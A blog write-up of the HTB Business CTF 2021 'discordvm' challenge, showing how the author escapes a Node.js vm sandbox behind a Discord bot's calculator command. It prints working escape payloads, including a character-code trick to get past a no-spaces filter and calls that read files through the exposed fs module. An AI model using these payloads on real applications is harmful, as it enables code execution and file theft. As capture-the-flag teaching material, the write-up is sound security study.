Kamil Gierach-Pacanek
CyberEthical.Me: Hacking for the Security Awareness

CyberEthical.Me: Hacking for the Security Awareness

HTB Business CTF 2021: discordvm

HTB Business CTF 2021: discordvm

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Kamil Gierach-Pacanek

Published on Jul 26, 2021

3 min read

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Introduction

We introduced "sandboxing" using Node.js vm module on our calculator feature. https://discord.gg/<redacted>

Complete write up for the discordvm challenge at Business CTF 2021 hosted by Hack The Box. This article is a part of a HTB Business CTF 2021 series.

Learn more from additional readings found at the end of the article. I would be thankful if you mention me when using parts of this article in your work. Enjoy!


Contents

  1. Introduction
  2. Basic Information
  3. Recon
  4. Weaponizing
  5. Exploit
  6. Additional readings

Basic Information

#
TypeJeopardy CTF / Miscellaneous
Organized byHack The Box
NameHTB Business CTF 2021 / discordvm
CTFtime weight24.33
Started2021/07/23 12:00 UTC
Ended2021/07/25 18:00 UTC
URLsctf.hackthebox.eu/ctf/135
AuthorAsentinn / NetCrawlers
ctftime.org/team/159004

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Recon

We are provided with the Discord Server invite.

image.png

We are having single general channel, without permissions to send messages. In the message history we can read

[+] Welcome to our mock Discord server! πŸ‘‹

It is intended that you cannot send messages here. πŸ”’

The purpose of this Discord server is to just host the Business CTF 2021 Misc challenge > called discordvm. :metal:

Do not DM anyone other than @discordvm . β›”

To interact with the challenge DM @discordvm the command !help. Have fun! πŸ‘

So, the purpose of this challenge is to get the flag from the Discord Bot - @discordvm. We are also provided with the backend source code:

const vm = require('vm');
const payload = '1+1';
console.log(vm.runInNewContext(payload));

// The Discord bot get's args[0], so pretty much the same setup except no spaces.

Communication with the bot

image.png

Bot reacts to the !help and !calc commands. Second one apparently just pass the arguments of command as a payload to the vm.runInNewContext NodeJS method.

Weaponizing

Let's create a local NodeJS application that is obtaining the payload in its arguments, just like the bot.

const vm = require('vm');
var myArgs = process.argv.slice(2);

console.log(vm.runInNewContext(myArgs[0]));

To run it, simply call node main.js 1+1

image.png

Now, working together with the The unsecure node vm module article I come up with the following Node VM escape command

node main.js "(this.constructor.constructor('return this'))()"

image.png

Exploit

Passing an exploit in the command does error out.

image.png

It seems like there is an issue with the space in the command. There are multiple ways to challenge that. I went with String.fromCharCode("160")

!calc (this.constructor.constructor('return'+String.fromCharCode("160")+'this'))()

image.png

We can see that returned is the object. Now, by enumerating available members or this we can find out that fs is loaded.

!calc (this.constructor.constructor('return'+String.fromCharCode("160")+'Object.entries(this)[9]'))()

image.png

This is what we need. Let's retrieve the flag from the file system.

!calc (this.constructor.constructor("return"+String.fromCharCode("160")+"this.fs.readdirSync('.')"))()
!calc (this.constructor.constructor("return"+String.fromCharCode("160")+"this.fs.readFileSync('flag.txt')"))()

image.png

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Additional readings

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